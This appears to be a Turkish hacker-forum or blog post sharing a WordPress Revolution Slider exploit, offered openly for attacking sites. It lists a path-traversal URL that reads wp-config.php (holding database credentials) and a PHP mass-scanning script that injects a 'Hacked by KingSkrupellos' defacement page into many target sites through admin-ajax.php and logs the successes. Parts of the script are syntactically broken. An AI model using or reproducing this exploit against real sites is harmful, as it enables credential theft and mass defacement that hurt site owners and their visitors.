Selamün Aleyküm Cyberizm Ailesi. Birkaç günden beri zone-h.org'da Index PHP, YunusIncredibl,Islamic State,Holako,Lunatico gibi hackerların kastığı açığı paylaşıcam. Cyberizm için elinizden geleni arkanıza koymayın.
Açığın Kaynaklandığı Yerler =>
Kod:
HEDEFSITE/wp-admin/admin-ajax.php
Kod:
HEDEFSITE/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.phpHacklediğiniz Yeri Görmek için =>
Kod:
/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_cssİşte O Exploit =>
İçerik açılmıştır. Yorum yazdığınız için teşekkürler.
Kod:
<?php
echo "\n+-------------------------------------------+\n";
echo "| Cyberizm Digital Security Army |\n";
echo "| http://www.cyberizm.org/ |\n";
echo "+-------------------------------------------+\n";
$gv=@file_get_contents($argv[1]);
$exv=explode("\r\n",$gv);
echo "\n\t Total site loaded : ".count($exv)."\n\n";
foreach($exv as $url){
echo "\n[+]Scaning : $url \n";
dr($url);
}
function dr($site){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "".$site."/wp-admin/admin-ajax.php");
curl_setopt($ch, CURLOPT_USERAGENT, $agent);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, array("action" => "revslider_ajax_action", "client_action" => "update_captions_css", "data" => "<body style='color: transparent;background-color: black'><center><h1><b style='color: white'>Hacked by KingSkrupellos Cyberizm Digital Security Team<p style='color: transparent'>"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file_path);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file_path);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
$result = curl_exec($ch);
if (eregi('true', $result))
$path="$site/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css";
$gett=@file_get_contents($path);
if(preg_match('/Hacked by KingSkrupellos Cyberizm Digital Security Army/',$gett)){
echo "\n[+]Exploit Done \n[+]shell : $path \n\n ";
$fo = fopen("finish.txt","a+");
$r = fwrite($fo,"".$path."/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css\r\n");
fclose($fo);
} else {
echo "| ".$site . " : Not Revslider \n\n";
}
curl_close($ch);
}
echo "\n[-]Exploit Fail \n\n";
}
}
?>
0 yorum:
Yorum Gönder